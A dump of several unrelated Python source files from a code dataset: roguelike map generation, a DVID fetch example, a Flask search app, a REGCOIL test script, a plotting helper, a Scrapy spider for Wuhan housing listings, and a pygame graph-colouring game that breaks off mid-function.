self.create_room(new_room)\n\n # Center coordinates of new room\n (new_x, new_y) = new_room.center()\n\n if num_rooms == 0:\n # This is the first room, where the player starts at\n player.x = new_x\n player.y = new_y\n else:\n # All rooms after the first:\n # connect it to the previous rooms room with a tunnel\n\n # Center coordinates of previous room\n (prev_x, prev_y) = rooms[num_rooms -1].center()\n\n # Adds a bit of variety in tunnels\n if randint(0, 1) == 1:\n # tunnel starts horizontally, then vertically\n self.create_h_tunnel(prev_x, new_x, prev_y)\n self.create_v_tunnel(prev_y, new_y, new_x)\n else:\n # tunnel starts vertically, then horizontally\n self.create_v_tunnel(prev_y, new_y, prev_x)\n self.create_h_tunnel(prev_x, new_x, new_y)\n\n # Places entities in newly generated room\n self.place_entities(new_room, entities, max_monsters_per_room)\n\n # Append new room to the list\n rooms.append(new_room)\n \n num_rooms += 1\n\n # Carves out a room by setting tiles to not be blocked given a rectangle\n def create_room(self, room):\n # go through the tiles in the rectangle and make them passable\n # the + 1 ensures walls exist in cases where rooms intersect\n for x in range(room.x1 + 1, room.x2):\n for y in range(room.y1 + 1, room.y2):\n self.tiles[x][y].blocked = False\n self.tiles[x][y].block_sight = False\n\n def create_h_tunnel(self, x1, x2, y):\n for x in range(min(x1, x2), max(x1, x2) + 1):\n self.tiles[x][y].blocked = False\n self.tiles[x][y].block_sight = False\n\n def create_v_tunnel(self, y1, y2, x):\n for y in range(min(y1, y2), max(y1, y2) + 1):\n self.tiles[x][y].blocked = False\n self.tiles[x][y].block_sight = False\n\n def place_entities(self, room, entities, max_monsters_per_room):\n # Get a random number of monsters\n number_of_monsters = randint(0, max_monsters_per_room)\n\n for i in range(number_of_monsters):\n # Choose a random location in the room\n x = randint(room.x1 + 1, room.x2 - 1)\n y = randint(room.y1 + 1, room.y2 - 1)\n\n # If no entity is at the location, place an enemy there.\n # 80% chance it'll be an orc, 20% chance a troll\n if not any([entity for entity in entities if entity.x == x and entity.y == y]):\n if randint(0, 100) < 80:\n fighter_component = Fighter(hp=10, defense=0, power=3)\n ai_component = BasicMonster()\n\n monster = Entity(x, y, 'o', libtcod.desaturated_green, 'Orc', blocks=True,\n render_order=RenderOrder.ACTOR, fighter=fighter_component, ai=ai_component)\n else:\n fighter_component = Fighter(hp=16, defense=1, power=4)\n ai_component = BasicMonster()\n\n monster = Entity(x, y, 'T', libtcod.darker_green, 'Troll', blocks=True, fighter=fighter_component,\n render_order=RenderOrder.ACTOR, ai=ai_component)\n \n entities.append(monster)\n \n def is_blocked(self, x, y):\n if self.tiles[x][y].blocked:\n return True\n\n return False\n","sub_path":"map_objects/game_map.py","file_name":"game_map.py","file_ext":"py","file_size_in_byte":5426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"504025522","text":"import intern\nfrom intern.remote.dvid import DVIDRemote\nimport matplotlib.pyplot as plt\n\n#DVID Data fetch:\ndvid = DVIDRemote({\n\t\"protocol\": \"http\",\n\t\"host\": \"localhost:8000\",\n\t})\n\nchan = \"UUID/ChannelName\"\nvolumeD = dvid.get_cutout(\n\tdvid.get_channel(chan),0,\n\t[0,2560],[0,2560],[390,392]\n\t)\nprint(volumeD)\n\nimgplot = plt.imshow(volumeD[0,:,:], cmap = \"gray\")\nplt.show()\n","sub_path":"examples/dvid/(3)dvid_Download.py","file_name":"(3)dvid_Download.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"202240475","text":"__author__ = 'LMai'\nfrom flask import Flask, render_template, g, request, flash, redirect, url_for, session\nfrom mssqlwrapper import DB, TempTable\nfrom forms import SearchForm\nimport utils\n\napp = Flask(__name__)\napp.config.from_pyfile('config.py')\n\n\n@app.before_request\ndef before_request():\n g.db = DB.from_connection_string(app.config['CONNECTION_STRINGS'])\n\n\n@app.teardown_request\ndef teardown_request(exception):\n db = getattr(g, 'db', None)\n del db\n\n\n@app.route('/view/')\ndef view(name):\n definition = utils.get_definition(g.db, name)\n return render_template('view_def.html', name=definition)\n\n\n@app.route('/', methods=['GET', 'POST'])\n@app.route('/index', methods=['GET', 'POST'])\ndef index():\n form = SearchForm()\n\n if request.method == 'POST':\n if form.validate():\n print(form.query.data)\n data = utils.find_me(g.db, form.query.data)\n for a in data:\n print(a\n )\n session['data'] = data\n return redirect(url_for('index'))\n return render_template('index.html', form=form, data=session.get('data'))\n\nif __name__ == '__main__':\n app.run(debug=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"305133944","text":"#!/usr/bin/env python\n\n# This python script checks the output file for an example to \n# see if the results are close to expected values. This script may be\n# run directly, and it is also called when \"make test\" is run from the\n# main REGCOIL directory.\n\n# In this example, the plasma and coil surfaces are both axisymmetric,\n# so the single valued part of the current potential and B_normal should vanish to\n# machine precision (even though the plasma and coil surfaces have different major radius.)\n\nexec(open('../testsCommon.py').read())\nabsoluteTolerance = 1e-10\nrelativeTolerance = 1e-100 # The relative tolerance is irrelevant since the true values are 0.\n\nnumFailures = 0\n\nf = readOutputFile()\n\nvariableName = 'chi2_B'\ndata = f.variables[variableName][()]\nnumFailures += arrayShouldBe(data, [0,0,0], relativeTolerance,absoluteTolerance)\n\nvariableName = 'max_Bnormal'\ndata = f.variables[variableName][()]\nnumFailures += arrayShouldBe(data, [0,0,0], relativeTolerance,absoluteTolerance)\n\nvariableName = 'single_valued_current_potential_mn'\ndata = f.variables[variableName][()]\n#print data.shape\nnumFailures += arrayShouldBe(data[0,:], [0]*97, relativeTolerance,absoluteTolerance)\nnumFailures += arrayShouldBe(data[1,:], [0]*97, relativeTolerance,absoluteTolerance)\nnumFailures += arrayShouldBe(data[2,:], [0]*97, relativeTolerance,absoluteTolerance)\n\n\ndel data\nf.close()\nprint(\"numFailures:\",numFailures)\nexit(numFailures > 0)\n","sub_path":"examples/axisymmetrySanityTest_chi2K_regularization/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"20791924","text":"\ndef pf2d_ztitvar(field,ftit,x,y,dirname,fsizemat,xlow,xhigh,ylow,r1tit,r2tit,symm):\n\n from pylab import *\n plt.rcParams['image.cmap'] = 'RdYlBu'\n ion()\n\n predir='/data/ilebras/twolayer-jets-climate/'\n \n figure(figsize=fsizemat) \n ax=subplot(2,2,1)\n #pcolor(x/1000,y/1000,field['m1'].T)\n if symm==1:\n contourf(x[xlow:xhigh]/1000,y[ylow:]/1000,field['m1'][xlow:xhigh,ylow:].T,linspace(-abs(field['m1'][xlow:xhigh,ylow:]).max(),abs(field['m1'][xlow:xhigh,ylow:]).max(),51))\n \n elif symm==0:\n contourf(x[xlow:xhigh]/1000,y[ylow:]/1000,field['m1'][xlow:xhigh,ylow:].T,51)\n ylabel(r1tit)\n title('Upper Layer')\n ax.set_xticklabels([])\n colorbar()\t\n\n ax=subplot(2,2,2)\n #pcolor(x/1000,y/1000,field['m2'].T)\n if symm==1:\n contourf(x[xlow:xhigh]/1000,y[ylow:]/1000,field['m2'][xlow:xhigh,ylow:].T,linspace(-abs(field['m2'][xlow:xhigh,ylow:]).max(),abs(field['m2'][xlow:xhigh,ylow:]).max(),51))\n elif symm==0:\n contourf(x[xlow:xhigh]/1000,y[ylow:]/1000,field['m2'][xlow:xhigh,ylow:].T,51)\n title('Lower Layer')\n ax.set_xticklabels([])\n ax.set_yticklabels([])\n colorbar()\n\n ax=subplot(2,2,3)\n #pcolor(x/1000,y/1000,field['i1'].T)\n if symm==1:\n contourf(x[xlow:xhigh]/1000,y[ylow:]/1000,field['i1'][xlow:xhigh,ylow:].T,linspace(-abs(field['i1'][xlow:xhigh,ylow:]).max(),abs(field['i1'][xlow:xhigh,ylow:]).max(),51))\n elif symm==0:\n contourf(x[xlow:xhigh]/1000,y[ylow:]/1000,field['i1'][xlow:xhigh,ylow:].T,51)\n ylabel(r2tit)\n xlabel('position (km)')\n colorbar()\n\n ax=subplot(2,2,4)\n #pcolor(x/1000,y/1000,field['i2'].T)\n if symm==1:\n contourf(x[xlow:xhigh]/1000,y[ylow:]/1000,field['i2'][xlow:xhigh,ylow:].T,linspace(-abs(field['i2'][xlow:xhigh,ylow:]).max(),abs(field['i2'][xlow:xhigh,ylow:]).max(),51))\n elif symm==0:\n contourf(x[xlow:xhigh]/1000,y[ylow:]/1000,field['i2'][xlow:xhigh,ylow:].T,51)\n xlabel('position (km)')\n ax.set_yticklabels([])\n colorbar()\n\n plt.tight_layout\n\n savefig(predir+'plots/'+dirname+'_'+ftit+'zoom.png')\n","sub_path":"scripts/pf2d_ztitvar.py","file_name":"pf2d_ztitvar.py","file_ext":"py","file_size_in_byte":2209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"80815625","text":"# -*- coding: utf-8 -*-\nfrom scrapy import Spider,Request\nimport re\nfrom lxml import etree\nimport json\nimport logging\n#from urllib.parse import quote\nfrom BeikeSpider.zone.area import get_district_info, get_areas\nfrom BeikeSpider.items import XiaoquItem\n\nclass Xiaoqu_spider(Spider):\n name = 'xiaoqu'\n allowed_domains = ['wh.ke.com']\n# regions = {'jiangan':'江岸',\n# 'jianghan':'江汉',\n# 'qiaokou':'硚口',\n# 'dongxihu': '东西湖',\n# 'wuchang': '武昌',\n# 'qingshan': '青山',\n# 'hongshan': '洪山',\n# 'hanyang': '汉阳',\n# 'donghugaoxin': '东湖高新',\n# 'jiangxia': '江夏',\n# 'caidian': '蔡甸',\n# 'huangbei': '黄陂',\n# 'xinzhou': '新洲',\n# 'zhuankoukaifaqu': '沌口开发区',\n# 'hannan': '汉南'\n# }\n regions = get_areas(\"wh\")\n districts = {}\n areas = {}\n for region_en, region_ch in regions.items():\n temp = get_district_info(region_en)\n districts.update(temp)\n for i in temp:\n areas[i] = region_ch\n\n def start_requests(self):\n for district in list(self.districts.keys()):\n url = \"https://wh.ke.com/xiaoqu/\" + district + \"/\"\n yield Request(url=url, callback=self.parse_page, meta={'district':district}) #用来获取页码\n\n def parse_page(self, response):\n district = response.meta['district']\n selector = etree.HTML(response.text)\n sel = selector.xpath(\"//div[@class='page-box house-lst-page-box']/@page-data\")[0]\n sel = json.loads(sel) # 转化为字典\n total_pages = sel.get(\"totalPage\")\n\n for i in range(int(total_pages)):\n url_page = \"https://wh.ke.com/xiaoqu/{}/pg{}/\".format(district, str(i + 1))\n yield Request(url=url_page, callback=self.parse_content, meta={'district':district})\n\n# def parse_xiaoqu(self,response):\n# selector = etree.HTML(response.text)\n# xiaoqu_list = selector.xpath('//ul[@class=\"listContent\"]//li//div[@class=\"title\"]/a/text()')\n# for xq_name in xiaoqu_list:\n# url = \"https://wh.lianjia.com/chengjiao/rs\" + quote(xq_name) + \"/\"\n# yield Request(url=url, callback=self.parse_chengjiao, meta={'xq_name':xq_name, 'district':response.meta['district']})\n#\n# def parse_chengjiao(self,response):\n# xq_name = response.meta['xq_name']\n# selector = etree.HTML(response.text)\n# content = selector.xpath(\"//div[@class='page-box house-lst-page-box']\") #有可能为空\n# total_pages = 0\n# if len(content):\n# page_data = json.loads(content[0].xpath('./@page-data')[0])\n# total_pages = page_data.get(\"totalPage\") # 获取总的页面数量\n# for i in range(int(total_pages)):\n# url_page = \"https://wh.lianjia.com/chengjiao/pg{}rs{}/\".format(str(i+1), quote(xq_name))\n# yield Request(url=url_page, callback=self.parse_content, meta={'district': response.meta['district']})\n\n def parse_content(self,response):\n selector = etree.HTML(response.text)\n cj_list = selector.xpath(\"//ul[@class='listContent']//li\")\n\n for cj in cj_list:\n item = XiaoquItem()\n item['district'] = self.districts.get(response.meta['district'])\n item['region'] = self.areas.get(response.meta['district'])\n href = cj.xpath('.//div[@class=\"title\"]/a/@href')\n if not len(href):\n continue\n item['href'] = href[0]\n item['data_id'] = re.findall(r'\\d+',href[0])\n\n content = cj.xpath('.//div[@class=\"title\"]/a/text()')\n if len(content):\n item['xq_name'] = content[0]\n \n content = cj.xpath('.//div[@class=\"houseInfo\"]/a/text()')\n if len(content):\n item['chengjiao_count'] = content[0]\n if len(content) > 1:\n item['rent_count'] = content[1]\n \n content = cj.xpath('.//div[@class=\"positionInfo\"]/a/text()')\n if len(content):\n item['qu'] = content[0]\n if len(content) > 1:\n item['quyu'] = content[1]\n \n content = cj.xpath('.//div[@class=\"positionInfo\"]/text()')\n if len(content):\n content = content[-1].split('/')\n item['build_year'] = content[-1].strip()\n \n content = cj.xpath('.//div[@class=\"tagList\"]/span/text()')\n if len(content):\n item['subway'] = content[0].strip()\n \n content = cj.xpath('.//div[@class=\"totalPrice\"]/span/text()')\n if len(content):\n item['unit_price'] = content[0].strip()\n \n content = cj.xpath('.//div[@class=\"xiaoquListItemSellCount\"]/a/span/text()')\n if len(content):\n item['sell_count'] = content[0].strip()\n \n yield item","sub_path":"spiders/xiaoqu.py","file_name":"xiaoqu.py","file_ext":"py","file_size_in_byte":5104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"127622447","text":"##\n# A small pygame program that displays a circle on a screen.\n# Detects when the user has clicked within a circle\n#\n# Authors: Nicholas O'Kelley, Daniel Hammer, Brandon Moore\n# Date: March 7th, 2020\n##\n\n\"\"\"\nTODO:\n\n Refactor\n\n\"\"\"\n\nimport pygame\nimport random\nimport math\nimport os\n\n# Global constants\nRADIUS = 35\nTHICCNESS = int(RADIUS / 6)\nWINDOW_WIDTH = 1280\nWINDOW_HEIGHT = 720\nTEXT_BOX_WIDTH = 140\nTEXT_BOX_HEIGHT = 32\nSYS_COLORS = 4\nVERTICES = []\n\n# Determines what you can input in the num_vertices selection box\nVALID_INPUTS = (pygame.K_0, pygame.K_1, pygame.K_2, pygame.K_3, pygame.K_4,\n pygame.K_5, pygame.K_6, pygame.K_7, pygame.K_8, pygame.K_9,\n pygame.K_ESCAPE, pygame.K_BACKSPACE, pygame.K_RETURN)\n\n# Color dictionary, (Red,Green,Blue,Alpha)\nCRAYONBOX = {\n \"WHITE\": (255, 255, 255, 255),\n \"GRAY\": (169, 169, 169, 255),\n \"DARK GRAY\": (128, 128, 128, 255),\n \"BLACK\": (0, 0, 0, 255),\n \"BLUE\": (0, 0, 255, 255),\n \"RED\": (255, 0, 0, 255),\n \"GREEN\": (0, 255, 0, 255),\n \"YELLOW\": (255, 255, 0, 255),\n \"PINK\": (255, 0, 255, 255),\n \"CYAN\": (0, 255, 255, 255),\n \"PURPLE\": (139, 0, 139, 255),\n \"GOLD\": (255, 215, 0, 255),\n}\n\nBACKGROUND = CRAYONBOX[\"GRAY\"]\nCURRENT_DIR = os.path.dirname(__file__)\nGRAPH_FILES = os.path.join(CURRENT_DIR, 'prebuilt_graphs')\nPREBUILT_GRAPHS = os.listdir(GRAPH_FILES)\nGRAPH_TYPES = [\"Custom\", \"Path\", \"Cycle\", \"Complete\", \"Prebuilt\"]\n\n\ndef main():\n\n # Initialize the game\n pygame.init()\n # pygame.font.init()\n # pygame.display.init()\n\n # The screen variable that sets display using the width and height variables\n global screen\n screen = pygame.display.set_mode((WINDOW_WIDTH, WINDOW_HEIGHT))\n # Sets the title bar of the screen\n pygame.display.set_caption(\"Competitive Graph Coloring - \" + str(__file__))\n\n # Fills the screen with the background color\n screen.fill(BACKGROUND)\n\n # Create the graph\n game_over, num_colors = create_graph(RADIUS, THICCNESS)\n\n # The legal colors available for each game\n colors_available = list(CRAYONBOX.keys())[SYS_COLORS:num_colors]\n display_usable_colors(colors_available, RADIUS, THICCNESS)\n\n # Turn counter, even for player 1, odd for player 2\n turn = 0\n\n # Game loop\n while not game_over:\n\n for event in pygame.event.get():\n\n display_turn(turn)\n pygame.display.update()\n\n # Get all keys pressed\n keys = pygame.key.get_pressed()\n\n # Get all mouse click events\n if event.type == pygame.MOUSEBUTTONDOWN:\n\n # Store the click position's coordinates\n mouse_x, mouse_y = pygame.mouse.get_pos()\n\n # If the circle was clicked, try to recolor it\n for vtx in VERTICES:\n if (is_clicked(vtx[\"x\"], vtx[\"y\"], mouse_x, mouse_y, RADIUS)):\n if recolor(RADIUS, THICCNESS, colors_available, keys, vtx[\"x\"], vtx[\"y\"]):\n turn += 1\n\n # Check to see if the game has been won\n game_state = is_game_over(colors_available)\n\n # Un-commenting this will cause the game to end\n # and shutdown after a victory\n # if game_state==-1 or game_state==1:\n # game_over = True\n\n if event.type == pygame.KEYDOWN:\n\n # Reset the game upon pressing 'r'\n if event.key == pygame.K_r:\n reset_game(RADIUS, THICCNESS, colors_available)\n turn = 0\n\n # Close window on pressing ESC\n if event.key == pygame.K_ESCAPE:\n pygame.quit()\n game_over = True\n\n # If the window==closed, exit the game\n if event.type == pygame.QUIT:\n pygame.quit()\n game_over = True\n\n\ndef run_setup(message, menu_num):\n \"\"\"\n Runs the setup window\n\n Displays an input box to take in the number of vertices to generate.\n Also displays a list of choices, if applicable.\n\n Parameters:\n message (string): The message to be displayed on screen\n menu_num (int): A flag to determine what information to show\n\n Returns:\n num (int): The number entered in the text box\n game_over (boolean): Whether or not the game has been stopped\n \"\"\"\n\n global screen\n\n # This defines the text input box boundaries\n input_box = pygame.Rect(WINDOW_WIDTH / 2 - (TEXT_BOX_WIDTH / 2),\n WINDOW_HEIGHT / 4 - TEXT_BOX_HEIGHT / 2,\n TEXT_BOX_WIDTH, TEXT_BOX_HEIGHT)\n\n # Colors for the box on whether it==active or not\n color_inactive = CRAYONBOX[\"CYAN\"]\n color_active = CRAYONBOX[\"BLUE\"]\n\n # Default coloring of box\n text_box_color = color_inactive\n\n # Default font\n font = pygame.font.Font(None, 32)\n\n # Box and game are both active to begin with\n active = True\n game_over = False\n\n # Default values of the input box\n text_input = ''\n num = 1\n\n # Setup Window\n setup_running = True\n while setup_running:\n\n for event in pygame.event.get():\n\n # Get all mouse click events\n if event.type == pygame.MOUSEBUTTONDOWN:\n\n # Toggle the input box's activity\n if input_box.collidepoint(event.pos):\n active = True\n else:\n active = False\n\n # Change the color of the input box\n text_box_color = color_active if active else color_inactive\n\n if event.type == pygame.KEYDOWN:\n\n # Get all keys pressed\n keys = pygame.key.get_pressed()\n\n # If the text box==active and the text input==valid\n if active and event.key in VALID_INPUTS:\n\n # Submit the inputted text\n if event.key == pygame.K_RETURN:\n if text_input == \"\":\n text_input = \"1\"\n num = int(text_input)\n active = False\n setup_running = False\n\n # Decrement the text input\n elif event.key == pygame.K_BACKSPACE:\n text_input = text_input[:-1]\n\n # Add to text input\n else:\n text_input += event.unicode\n\n # Close window on pressing ESC\n if event.key == pygame.K_ESCAPE:\n setup_running = False\n game_over = True\n\n # If the window==closed, exit the game\n if event.type == pygame.QUIT:\n setup_running = False\n game_over = True\n\n # Give the text box some font\n txt_surface = font.render(text_input, True, CRAYONBOX[\"BLACK\"])\n\n # Draw the input box\n input_box.w = max(TEXT_BOX_WIDTH, txt_surface.get_width() + 10)\n pygame.draw.rect(screen, text_box_color, input_box, 3)\n pygame.draw.rect(screen, CRAYONBOX[\"WHITE\"], input_box)\n screen.blit(txt_surface, (input_box.x + 5, input_box.y + 5))\n\n # Displays the message above the text box\n centered_message(message, CRAYONBOX[\"BLACK\"], 35)\n\n # List all graph types for the first menu\n if menu_num==1:\n display_list(\"Graph types:\",\n CRAYONBOX[\"BLACK\"], 35, GRAPH_TYPES)\n # List all available prebuilt graphs for the fourth menu\n elif menu_num==4:\n display_list(\"Files to choose from:\",\n CRAYONBOX[\"BLACK\"], 35, PREBUILT_GRAPHS)\n\n # Update the display\n pygame.display.update()\n screen.fill(BACKGROUND)\n\n return num, game_over\n\n\ndef centered_message(message, color, font_size):\n \"\"\"\n Displays a specified message to the game screen. \n\n Parameters:\n message (string): The message to be displayed on screen\n\n Returns:\n N/A\n \"\"\"\n\n global screen\n\n font = pygame.font.Font(None, font_size)\n\n display = font.render(message, 1, color, BACKGROUND)\n\n x = int((WINDOW_WIDTH / 2) - (display.get_size()[0] / 2))\n y = int(WINDOW_HEIGHT / 16)\n\n screen.blit(display, (x, y))\n\n\ndef display_turn(turn):\n \"\"\"\n Displays whose turn it is\n\n Parameters:\n turn (int): The turn counter\n\n Returns:\n N/A\n \"\"\"\n\n global screen\n\n font = pygame.font.Font(None, 50)\n\n player = turn % 2 + 1\n\n display = font.render(\"Player \" + str(player) +\n \"'s turn\", 1, CRAYONBOX[\"BLACK\"], BACKGROUND)\n\n screen.blit(\n display, (int((WINDOW_WIDTH / 2) - (display.get_size()[0] / 2)), 10))\n\n\ndef display_list(message, color, font_size, items):\n \"\"\"\n Displays a list of all items in 'items' to the screen\n\n Displays each item name with a number corresponding to its choice for the\n selection menu. Adjusts coordinates so that 10 items are listed per row.\n\n Parameters:\n message (string): The message to be displayed on screen\n color (tuple):The color of the text to be displayed\n font_size (int): The font size\n items (list): The items to be displayed\n\n Returns:\n N/A\n \"\"\"\n\n global screen\n\n font = pygame.font.Font(None, font_size)\n\n display = font.render(message, 1, color, BACKGROUND)\n\n x = int((WINDOW_WIDTH / 2) - (display.get_size()[0] / 2))\n y = int(WINDOW_HEIGHT / 3)\n\n screen.blit(display, (x, y))\n for i in range(0, len(items)):\n\n # If 10 items have been listed, create a new column\n if i % 10==0:\n x = 10 + i * 31\n y = int(WINDOW_HEIGHT / 3) + ((i % 10) * 40) + 40\n\n display = font.render(\n str(i) + \" - \" + str(items[i]), 1, color, BACKGROUND)\n screen.blit(display, (x, y))\n\n\ndef create_path(number_of_vertices, radius, thickness):\n \"\"\"\n Creates a standard path of n vertices on screen\n\n Creates a vertex spaced dist_apart pixels apart at the\n middle height of the screen.\n Saves each vertex as a dictionary to a vertex list\n Assigns adjacency so that each vertex has two neighbors except the\n beginning and ending vertices.\n\n Parameters:\n number_of_vertices (int): The number of vertices to draw\n radius (int): The radius of a vertex\n thickness (int): the thickness of a vertex's outer ring\n\n Returns:\n N/A\n \"\"\"\n\n global screen\n\n dist_apart = radius * 3\n\n for i in range(0, number_of_vertices):\n vtx_x = i * dist_apart + \\\n int((WINDOW_WIDTH - dist_apart * (number_of_vertices - 1)) / 2)\n vtx_y = int(WINDOW_HEIGHT / 2)\n\n vtx = {\"ID\": i,\n \"x\": vtx_x,\n \"y\": vtx_y,\n \"color\": \"WHITE\",\n \"adjacent\": [],\n }\n\n VERTICES.append(vtx)\n\n # Assign adjacency\n for i in range(0, number_of_vertices):\n if i != number_of_vertices - 1:\n VERTICES[i][\"adjacent\"].append(VERTICES[i + 1][\"ID\"])\n VERTICES[i + 1][\"adjacent\"].append(VERTICES[i][\"ID\"])\n\n\ndef create_cycle(number_of_vertices, radius, thickness):\n \"\"\"\n Creates a standard cycle of n vertices on screen\n\n Creates a vertex spaced dist_apart pixels apart at the.\n middle height of the screen and circling around using sine/cosine values.\n Saves each vertex as a dictionary to a vertex list.\n Assigns adjacency so that each vertex has two neighbors.\n\n Parameters:\n number_of_vertices (int): The number of vertices to draw\n radius (int): The radius of a vertex\n thickness (int): the thickness of a vertex's outer ring\n\n Returns:\n N/A\n \"\"\"\n\n global screen\n dist_apart = number_of_vertices * 15\n\n for i in range(0, number_of_vertices):\n vtx_x = int((WINDOW_WIDTH / 2) + math.cos((i * math.pi *\n 2) / number_of_vertices) * dist_apart)\n vtx_y = int((WINDOW_HEIGHT / 2) + math.sin((i * math.pi *\n 2) / number_of_vertices) * dist_apart)\n\n vtx = {\"ID\": i,\n \"x\": vtx_x,\n \"y\": vtx_y,\n \"color\": \"WHITE\",\n \"adjacent\": [],\n }\n\n VERTICES.append(vtx)\n\n # Assign adjacency\n for i in range(0, number_of_vertices):\n if i != number_of_vertices - 1:\n VERTICES[i][\"adjacent\"].append(VERTICES[i + 1][\"ID\"])\n VERTICES[i + 1][\"adjacent\"].append(VERTICES[i][\"ID\"])\n else:\n VERTICES[i][\"adjacent\"].append(VERTICES[0][\"ID\"])\n VERTICES[0][\"adjacent\"].append(VERTICES[i][\"ID\"])\n\n\ndef create_complete(number_of_vertices, radius, thickness):\n \"\"\"\n Creates a standard complete graph of n vertices on screen\n\n Creates a vertex spaced dist_apart pixels apart at the.\n middle height of the screen and circling around using sine/cosine values.\n Saves each vertex as a dictionary to a vertex list.\n Assigns adjacency so that each vertex has n - 1 neighbors\n\n Parameters:\n number_of_vertices (int): The number of vertices to draw\n radius (int): The radius of a vertex\n thickness (int): the thickness of a vertex's outer ring\n\n Returns:\n N/A\n \"\"\"\n\n global screen\n dist_apart = number_of_vertices * 15\n\n for i in range(0, number_of_vertices):\n vtx_x = int((WINDOW_WIDTH / 2) + math.cos((i * math.pi *\n 2) / number_of_vertices) * dist_apart)\n vtx_y = int((WINDOW_HEIGHT / 2) + math.sin((i * math.pi *\n 2) / number_of_vertices) * dist_apart)\n\n vtx = {\"ID\": i,\n \"x\": vtx_x,\n \"y\": vtx_y,\n \"color\": \"WHITE\",\n \"adjacent\": [],\n }\n\n VERTICES.append(vtx)\n\n # Assign adjacency\n for i in range(0, number_of_vertices):\n for j in range(i, number_of_vertices):\n if i != j:\n VERTICES[i][\"adjacent\"].append(VERTICES[j][\"ID\"])\n VERTICES[j][\"adjacent\"].append(VERTICES[i][\"ID\"])\n\n\ndef create_custom_graph(radius, thickness):\n \"\"\"\n Generates a custom-made graph\n\n The users clicks while pressing 'v' or 'SPACE' to create a vertex.\n Clicking and dragging will create an edge between two vertices.\n Pressing 'c' will create the graph and begin the game.\n\n Parameters:\n radius (int): The radius of a vertex\n thickness (int): the thickness of a vertex's outer ring\n\n Returns:\n N/A\n \"\"\"\n\n global screen\n generating = True\n\n # Number of vertices created and the two vertices to connect\n vertices_created = 0\n vtx_one = None\n vtx_two = None\n\n while generating:\n\n for event in pygame.event.get():\n\n # Get all mouse click events\n if event.type == pygame.MOUSEBUTTONDOWN:\n\n # Store the click position's coordinates\n mouse_x, mouse_y = pygame.mouse.get_pos()\n\n # Get all keys pressed\n keys = pygame.key.get_pressed()\n\n # Create a vertex when clicking and pressing 'v'\n if keys[pygame.K_v] or keys[pygame.K_SPACE]:\n vtx = {\"ID\": vertices_created,\n \"x\": mouse_x,\n \"y\": mouse_y,\n \"color\": \"WHITE\",\n \"adjacent\": [],\n }\n VERTICES.append(vtx)\n vertices_created += 1\n\n # Set the source vertex to whichever vertex was clicked on\n for vtx in VERTICES:\n if (is_clicked(vtx[\"x\"], vtx[\"y\"], mouse_x, mouse_y, RADIUS)):\n vtx_one = vtx\n\n if event.type == pygame.MOUSEBUTTONUP:\n\n # Store the click position's coordinates\n mouse_x, mouse_y = pygame.mouse.get_pos()\n\n # Set the destination vertex to whichever vertex was under the\n # cursor after the click\n for vtx in VERTICES:\n if (is_clicked(vtx[\"x\"], vtx[\"y\"], mouse_x, mouse_y, RADIUS)):\n vtx_two = vtx\n\n # If the source and destination vertices have values, connect them\n if vtx_one!= None and vtx_two!= None and vtx_one[\"ID\"]!= vtx_two[\"ID\"]:\n vtx_one[\"adjacent\"].append(vtx_two[\"ID\"])\n vtx_two[\"adjacent\"].append(vtx_one[\"ID\"])\n\n if event.type == pygame.KEYDOWN:\n\n # Reset the graph generation if 'r'==pressed\n if event.key == pygame.K_r:\n vertices_created = 0\n VERTICES.clear()\n vtx_one = None\n vtx_two = None\n screen.fill(BACKGROUND)\n\n # Delete the most recently made vertex and all of its adjacencies\n if event.key == pygame.K_u and vertices_created >= 1:\n vertices_created -= 1\n deleted = VERTICES.pop()\n for adj in deleted[\"adjacent\"]:\n VERTICES[adj][\"adjacent\"].remove(deleted[\"ID\"])\n vtx_one = None\n vtx_two = None\n screen.fill(BACKGROUND)\n\n # Delete the most recently drawn edge\n if event.key == pygame.K_y and vertices_created >= 2:\n if vtx_one[\"adjacent\"] and vtx_two[\"adjacent\"]:\n vtx_one[\"adjacent\"].pop()\n vtx_two[\"adjacent\"].pop()\n screen.fill(BACKGROUND)\n\n # Close window on pressing ESC\n if event.key == pygame.K_ESCAPE or event.key == pygame.K_c:\n generating = False\n\n # If the window==closed, exit the game\n if event.type == pygame.QUIT:\n generating = False\n\n draw_graph(VERTICES, RADIUS, THICCNESS)\n pygame.display.update()\n\n # This==for creating new graphs\n # Leave this commented out for regular play\n name = input(\"Please enter a name for this graph: \")\n filename = os.path.join(GRAPH_FILES, name + \".txt\")\n fi = open(filename, \"w\")\n for vtx in VERTICES:\n fi.write(str(vtx) + \"\\n\")\n fi.close()\n \"\"\"\n \"\"\"\n screen.fill(BACKGROUND)\n\n\ndef create_prebuilt_graph(graph_choice):\n \"\"\"\n Allows users to choose from a list of prebuilt graphs\n\n Parameters:\n graph_choice (int): The graph chosen\n\n Returns:\n N/A\n \"\"\"\n\n # Retrieves the name of the graph file\n graph_file = PREBUILT_GRAPHS[graph_choice]\n\n # Creates a relative path to the graph file\n filename = os.path.join(GRAPH_FILES, graph_file)\n\n # Reads in the content of the graph file\n vertex_list = open(filename, \"r\")\n\n for line in vertex_list:\n # Saves each line as a vertex dictionary\n vtx = eval(line)\n VERTICES.append(vtx)\n vertex_list.close()\n\n\n# NOTE: This function!= used in gameplay, but used for data collection\ndef create_random_graph(number_of_vertices, number_of_edges, radius, thickness):\n \"\"\"\n Creates a randomly generated graph of n vertices and m edges on screen\n\n Generates a random x and y coordinate for each vertex. Coordinates cannot\n be within a specified distance of each other to prevent overlap.\n Assign new vertices to the vertex list.\n Pick two random vertices to connect with an edge and append them to each\n other's adjacency lists.\n Draw the graph\n\n Parameters:\n number_of_vertices (int): The number of vertices to draw\n number_of_edges (int): The number of edges to draw\n radius (int): The radius of a vertex\n thickness (int): the thickness of a vertex's outer ring\n\n Returns:\n N/A\n \"\"\"\n\n global screen\n\n dist_apart = radius * 